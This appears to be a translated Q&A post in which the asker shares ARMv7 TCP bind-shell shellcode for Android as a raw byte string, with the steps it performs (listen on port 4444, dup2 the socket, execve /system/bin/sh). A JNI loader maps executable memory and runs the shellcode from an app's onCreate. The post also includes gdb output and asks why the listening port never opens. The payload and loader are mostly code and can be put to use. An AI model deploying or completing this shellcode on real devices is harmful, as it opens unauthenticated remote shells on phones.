【发布时间】:2018-09-25 16:03:08
【问题描述】:
我的以下armv7 tcp绑定shell代码步骤:
- 打开套接字
- 在 4444 端口监听
- 接受连接
- 使用
dup2将标准输入/输出/错误绑定到套接字 - 使用
execve( "/system/bin/sh", NULL, NULL )生成shell
通过 JNI 执行
char SC[] = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x0a\xa1\x4a\x70\x10\x22\x02\x37\x01\xdf\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x04\xa0\x92\x1a\x49\x1a\x82\x73\x0b\x27\x01\xdf\x02\xff\x11\x5c\x00\x00\x00\x00\x2f\x73\x79\x73\x74\x65\x6d\x2f\x62\x69\x6e\x2f\x73\x68\x58\x00";
JNIEXPORT jstring JNICALL Java_com_MainActivity_run(JNIEnv *env, jobject obj) {
char* code = mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
memcpy(code, SC, 300);
void (*func)() = (void (*)())code;
func();
return (*env)->NewStringUTF(env, "hello");
}
mmap 用于设置 shellcode 的执行权限。
在 MainActivity#onCreate 我执行原生函数run。
使用 gdb (v7.1) 调试我看到了 shellcode。
gdb $ x/10i $pc => 0xb402a05c: 服务端 1 0xb402a05e:无; (移动 r8,r8) gdb $ n 进程 8467 正在执行新程序:/system/bin/sh 从远程目标读取 /system/bin/sh... 从远程目标读取 /system/bin/sh... 重新设置断点 1 时出错:未加载符号表。使用“文件”命令。我正在尝试使用 netcat 从我的本地主机连接,但 连接被拒绝,因为没有开放端口。
执行cat /proc/net/tcp 表明这一点。
执行ps 显示新进程,“/system/bin/sh”处于僵尸状态。
我是否需要用fork、exec 和getpid 替换我的exec 系统调用?
有什么帮助吗?
参考资料:
【问题讨论】:
-
您的 shellcode 有问题,但您只向我们提供了它的二进制字符串。您能否展示(反)组装以及您对正在发生的事情的理解?
-
@domen 给你
标签: android arm java-native-interface shellcode